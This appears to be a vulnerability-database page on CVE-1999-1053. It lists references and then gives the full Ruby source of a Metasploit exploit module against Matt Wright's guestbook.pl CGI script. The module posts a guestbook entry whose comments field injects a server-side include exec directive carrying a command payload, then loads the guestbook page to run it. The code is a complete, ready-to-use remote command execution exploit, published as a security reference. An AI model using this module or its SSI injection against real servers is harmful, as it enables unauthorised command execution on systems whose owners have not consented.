| Reporter | Title | Published | Views | Family All 10 |
|---|---|---|---|---|
| CVE-1999-1053 | 3 Jul 201000:00 | – | circl | |
| CVE-1999-1053 | 12 Sep 200104:00 | – | cve | |
| CVE-1999-1053 | 12 Sep 200104:00 | – | cvelist | |
| The Matt Wright Guestbook.pl - Arbitrary Command Execution (Metasploit) | 3 Jul 201000:00 | – | exploitdb | |
| The Matt Wright Guestbook.pl 2.3.1 - Server-Side Include | 5 Nov 199900:00 | – | exploitdb | |
| The Matt Wright Guestbook.pl 2.3.1 - Server-Side Include | 5 Nov 199900:00 | – | exploitpack | |
| Matt Wright guestbook.pl Arbitrary Command Execution | 1 Dec 199900:00 | – | nessus | |
| CVE-1999-1053 | 13 Sep 199904:00 | – | nvd | |
| guestbook.pl | 3 Nov 200500:00 | – | openvas | |
| Matt Wright guestbook.pl Arbitrary Command Execution | 30 Oct 200900:00 | – | packetstorm |
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Matt Wright guestbook.pl Arbitrary Command Execution',
'Description' => %q{
The Matt Wright guestbook.pl <= v2.3.1 CGI script contains
a flaw that may allow arbitrary command execution. The vulnerability
requires that HTML posting is enabled in the guestbook.pl script, and
that the web server must have the Server-Side Include (SSI) script
handler enabled for the '.html' file type. By combining the script
weakness with non-default server configuration, it is possible to exploit
this vulnerability successfully.
},
'Author' => [ 'aushack' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '1999-1053' ],
[ 'OSVDB', '84' ],
[ 'BID', '776' ],
],
'Privileged' => false,
'Payload' =>
{
'DisableNops' => true,
'Space' => 1024,
'Compat' =>
{
'PayloadType' => 'cmd cmd_bash',
'RequiredCmd' => 'generic perl ruby python bash-tcp telnet',
}
},
'Platform' => %w{ linux unix win },
'Arch' => ARCH_CMD,
'Targets' => [[ 'Automatic', { }]],
'DisclosureDate' => '1999-11-05',
'DefaultTarget' => 0))
register_options(
[
OptString.new('URI', [true, "guestbook.pl script path", "/cgi-bin/guestbook.pl"]),
OptString.new('URIOUT', [true, "guestbook.html output", "/guestbook/guestbook.html"]),
])
end
def exploit
realname = rand_text_alphanumeric(20)
email = rand_text_alphanumeric(20)
city = rand_text_alphanumeric(20)
state = rand_text_alphanumeric(20)
country = rand_text_alphanumeric(20)
sploit = Rex::Text.uri_encode("<!--#exec cmd=\"" + payload.encoded.gsub('"','\"') + "\"", 'hex-normal')
req1 = send_request_cgi({
'uri' => normalize_uri(datastore['URI']),
'method' => 'POST',
'data' => "realname=#{realname}&username=#{email}&city=#{city}&state=#{state}&country=#{country}&comments=#{sploit}",
}, 25)
req2 = send_request_raw({
'uri' => normalize_uri(datastore['URIOUT']),
}, 25)
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation